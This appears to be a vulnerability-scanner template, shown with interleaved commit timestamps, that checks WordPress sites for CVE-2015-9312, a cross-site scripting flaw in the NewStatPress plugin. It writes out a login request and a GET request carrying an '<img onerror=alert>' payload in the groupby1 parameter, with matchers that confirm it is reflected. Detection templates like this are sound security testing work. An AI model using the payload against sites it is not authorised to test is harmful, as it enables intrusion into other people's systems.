2023-03-05 13:42:10 +00:00
id : CVE-2015-9312
info :
2023-03-27 17:46:47 +00:00
name : NewStatPress <=1.0.4 - Cross-Site Scripting
2023-03-05 13:42:10 +00:00
author : r3Y3r53
severity : medium
description : |
2023-03-27 17:46:47 +00:00
WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file "includes/nsp_search.php", several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
2023-09-06 13:22:34 +00:00
remediation : Fixed in version 1.0.6
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/46bf6c69-b612-4aee-965d-91f53f642054
- https://g0blin.co.uk/g0blin-00057/
2023-03-05 14:19:20 +00:00
- https://wordpress.org/plugins/newstatpress/#developers
2023-03-27 17:46:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2015-9312
2023-03-05 14:19:20 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2015-9312
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00088
2023-11-27 09:19:41 +00:00
epss-percentile : 0.36961
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : newstatpress_project
product : newstatpress
2023-09-06 13:22:34 +00:00
framework : wordpress
2023-03-05 14:19:20 +00:00
tags : cve2015,xss,authenticated,wp,newstatpress,wpscan,cve,wordpress,wp-plugin
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(body_2, "<img src=x onerror=alert(document.domain)")'
- 'contains(body_2, "newstatpress")'
condition : and
2023-11-27 10:10:24 +00:00
# digest: 490a00463044022039e4d8b86bd090998354a8541099bc0061967575d945ecd09f1ab085a1b55fcb02201bab533ea1bbda7b1a64e585f2145987e9a62287bba960e3c748eec1ba650530:922c64590222798bb761d5b6d8e72950